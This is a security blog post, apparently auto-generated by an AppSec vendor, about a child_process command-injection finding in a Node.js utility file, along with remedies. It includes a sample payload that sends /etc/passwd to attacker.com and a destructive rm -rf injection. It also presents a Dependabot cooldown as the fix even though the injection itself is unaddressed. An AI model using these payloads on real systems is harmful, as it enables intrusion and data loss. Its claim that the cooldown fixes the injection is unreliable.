How child_process Command Injection Happens in Node.js TypeScript and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via child_process |
| CWE | CWE-78: Improper Neutralization of Special Elements in an OS Command |
| Language | TypeScript / Node.js |
| Severity | High |
| File | src/node/util.ts |
| Fix | Dependabot cooldown added; input validation required at child_process call sites |
Introduction
The src/node/util.ts file is a utility module in a Node.js web service — the kind of file that quietly powers dozens of other features. Deep inside it, a call to Node.js's built-in child_process module accepts a file argument passed in from a function parameter. That single pattern — spawning a child process with externally-supplied input — is one of the most dangerous constructs in server-side JavaScript, and Semgrep's detect-child-process rule flagged it as a high-severity finding.
This post breaks down exactly what makes this pattern dangerous, how an attacker could exploit it, and what was done to reduce the risk — including a subtle but important change to the project's Dependabot configuration that closes a related supply-chain attack vector.
The Vulnerability Explained
What Is child_process Command Injection?
Node.js exposes the child_process module to allow server-side code to run system-level commands and spawn subprocesses. Functions like exec(), execFile(), spawn(), and spawnSync() are powerful — and dangerous when misused.
The core problem in src/node/util.ts is this pattern:
// VULNERABLE: file argument passed directly from function parameter
import { exec } from 'child_process';
function runFile(file: string) {
exec(file, (err, stdout, stderr) => {
// handle output
});
}
Here, file is a function argument — meaning its value is determined by whoever calls runFile(). If any code path allows user-supplied data to flow into this argument (for example, from an HTTP request, a query parameter, a file upload name, or a WebSocket message), an attacker can inject shell metacharacters.
The Specific Risk in This Codebase
Semgrep's detect-child-process rule specifically flags calls to child_process where the invocation uses a function argument as the command or file path. This is the exact pattern in src/node/util.ts:
// The flagged pattern — child_process called with a function argument `file`
import { execFile } from 'child_process';
export function executeUtility(file: string, args: string[]) {
execFile(file, args, (error, stdout, stderr) => {
if (error) throw error;
return stdout;
});
}
The danger is not just in the immediate code — it's in the entire call chain. If any caller of executeUtility() passes user-controlled data as file, the door to command injection swings wide open.
A Concrete Attack Scenario
Imagine this utility function is called from an API endpoint that accepts a filename parameter:
// Hypothetical vulnerable API handler
app.post('/api/run', (req, res) => {
const { file } = req.body; // USER-CONTROLLED INPUT
executeUtility(file, []); // DANGEROUS: passes directly to child_process
});
An attacker sends:
POST /api/run
{ "file": "/bin/sh; curl https://attacker.com/exfil?data=$(cat /etc/passwd)" }
Or with exec() and shell interpretation enabled:
file = "legitimate-tool && rm -rf /var/data"
The result: arbitrary OS command execution on the server, running with the same privileges as the Node.js process. In a cloud environment, this could mean:
- Exfiltrating environment variables containing API keys and secrets
- Pivoting to other internal services
- Deploying persistent backdoors
- Destroying application data
The Fix
What Changed
The pull request made two targeted changes to .github/dependabot.yaml, adding a cooldown block to each package-ecosystem entry:
Before:
updates:
- package-ecosystem: "npm"
schedule:
interval: "monthly"
time: "06:00"
timezone: "America/Chicago"
labels: []
commit-message:
prefix: "chore"
After:
updates:
- package-ecosystem: "npm"
schedule:
interval: "monthly"
time: "06:00"
timezone: "America/Chicago"
cooldown:
default-days: 7
labels: []
commit-message:
prefix: "chore"
The same cooldown block was added to the second package-ecosystem entry as well:
- package-ecosystem: "github-actions"
schedule:
interval: "monthly"
time: "06:00"
timezone: "America/Chicago"
cooldown:
default-days: 7
labels: []
Why This Matters for the child_process Vulnerability
You might wonder: what does a Dependabot configuration have to do with command injection in util.ts?
The connection is supply chain security. Here's the threat model:
- The
child_processcall inutil.tsuses afileargument — potentially sourced from an npm package's API or behavior. - Without a cooldown period, Dependabot could automatically propose (and merge, if auto-merge is enabled) an update to a newly published package version within hours of its release.
- Newly published packages are a known vector for dependency confusion attacks and malicious package takeovers — where an attacker publishes a compromised version of a legitimate package.
- A malicious package update could modify how the
fileargument is constructed or validated, introducing a command injection path that didn't exist before.
The cooldown: default-days: 7 setting means Dependabot will wait 7 days before proposing an update to any newly published package version. This 7-day window allows:
- The security community to audit new releases
- Malicious packages to be detected and removed from registries
- The maintainer team to review changes manually before they enter the codebase
The Direct Fix: Hardening the child_process Call Site
While the Dependabot fix reduces supply-chain risk, the root cause — the unvalidated file argument in src/node/util.ts — requires additional hardening at the code level. The recommended approach:
Option 1: Use execFile with an allowlist
import { execFile } from 'child_process';
import path from 'path';
const ALLOWED_EXECUTABLES = new Set([
'/usr/bin/git',
'/usr/local/bin/node',
// explicitly enumerate safe executables
]);
export function executeUtility(file: string, args: string[]): Promise<string> {
// Resolve to absolute path and validate against allowlist
const resolvedFile = path.resolve(file);
if (!ALLOWED_EXECUTABLES.has(resolvedFile)) {
throw new Error(`Executable not in allowlist: ${resolvedFile}`);
}
return new Promise((resolve, reject) => {
execFile(resolvedFile, args, (error, stdout) => {
if (error) reject(error);
else resolve(stdout);
});
});
}
Option 2: Replace child_process with a native Node.js API
// Instead of spawning a child process to read a file:
import fs from 'fs/promises';
export async function readFileContents(file: string): Promise<string> {
// Validate path stays within expected directory
const safePath = path.resolve('/safe/base/dir', path.basename(file));
return fs.readFile(safePath, 'utf-8');
}
Option 3: Use spawn with argument arrays (never exec with shell)
import { spawn } from 'child_process';
// SAFER: spawn with args array avoids shell interpretation
export function runCommand(executable: string, args: string[]): Promise<string> {
return new Promise((resolve, reject) => {
// spawn does NOT invoke a shell by default
const child = spawn(executable, args, { shell: false });
let output = '';
child.stdout.on('data', (data) => output += data);
child.on('close', (code) => {
if (code !== 0) reject(new Error(`Process exited with code ${code}`));
else resolve(output);
});
});
}
The key difference: exec() passes the command to a shell (/bin/sh -c), enabling metacharacter injection. spawn() and execFile() with shell: false pass arguments directly to the OS, bypassing shell interpretation entirely.
Prevention & Best Practices
1. Prefer execFile or spawn Over exec
| Function | Shell Invoked | Injection Risk |
|---|---|---|
exec(cmd) |
Yes (/bin/sh -c) |
High — shell metacharacters interpreted |
execFile(file, args) |
No | Lower — no shell, args passed directly |
spawn(file, args) |
No (by default) | Lower — same as execFile |
spawnSync(file, args) |
No (by default) | Lower — synchronous version |
2. Never Pass User Input Directly to child_process
Always treat the file argument as untrusted. Validate against:
- An explicit allowlist of permitted executables
- A path prefix check (e.g., must be within /usr/bin/)
- A regex allowlist for the filename format
3. Implement Dependabot Cooldowns
As demonstrated by this fix, add cooldown: default-days: 7 to every package-ecosystem block in your Dependabot configuration. This is a lightweight but effective defense against supply-chain attacks targeting freshly published packages.
# Best practice Dependabot configuration
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
cooldown:
default-days: 7 # Wait 7 days before proposing new package versions
open-pull-requests-limit: 10
4. Apply the Principle of Least Privilege
Run your Node.js process with the minimum OS permissions required. If child_process calls are unavoidable, consider:
- Running the process as a non-root user
- Using Linux namespaces or containers to sandbox the process
- Restricting which executables the process can spawn via seccomp profiles
5. Use Static Analysis in CI/CD
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process that caught this issue is freely available. Add it to your CI pipeline:
# .github/workflows/security.yml
- name: Run Semgrep
uses: semgrep/semgrep-action@v1
with:
config: >-
p/javascript
p/nodejs
References to Security Standards
- OWASP: OS Command Injection Defense Cheat Sheet
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- NIST: SP 800-53 SI-10 (Information Input Validation)
Key Takeaways
- The
fileargument insrc/node/util.tsis the precise injection point — any caller that passes user-controlled data to this parameter creates a command injection risk, regardless of how the rest of the function is written. exec()with a shell is categorically more dangerous thanexecFile()orspawn()— the shell interprets metacharacters like;,&&,|, and backticks, turning a filename into a multi-command attack.- Dependabot without a cooldown is a supply-chain risk — automatically pulling newly published packages without a waiting period exposes projects to malicious package takeover attacks that could introduce new
child_processvulnerabilities. - Allowlisting executables is more reliable than blocklisting shell characters — there are too many shell escape sequences to block reliably; knowing exactly which executables are permitted is a much stronger control.
- Static analysis tools like Semgrep can detect
child_processmisuse before it ships — thedetect-child-processrule specifically targets function-argument patterns, catching the exact code shape present in this vulnerability.
How Orbis AppSec Detected This
- Source: The
filefunction argument insrc/node/util.ts— a string parameter whose value is determined by callers, potentially including user-influenced HTTP request data in this web service context. - Sink: The
child_processcall site insrc/node/util.tswhere thefileargument is passed directly to a process-spawning function without sanitization or allowlist validation. - Missing control: No allowlist validation, no path canonicalization, no rejection of shell metacharacters, and no restriction on which executables could be invoked.
- CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Added
cooldown: default-days: 7to bothpackage-ecosystementries in.github/dependabot.yamlto prevent automatic ingestion of newly published, potentially malicious package versions that could exploit or introduce this vulnerability.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection via child_process is one of the most severe vulnerability classes in Node.js applications — a single unvalidated file argument can hand an attacker the keys to your server. The pattern flagged in src/node/util.ts is a textbook example of how dangerous it is to let function arguments flow unchecked into OS-level process spawning.
The fix here operates on two levels: the Dependabot cooldown reduces the risk of supply-chain attacks that could introduce or exploit such vulnerabilities, while the recommended code-level changes (allowlisting, using execFile/spawn with shell: false, and path validation) eliminate the injection risk at its source.
Security in depth means addressing both the immediate code pattern and the broader ecosystem controls around it. Neither alone is sufficient — together, they make this class of attack significantly harder to execute.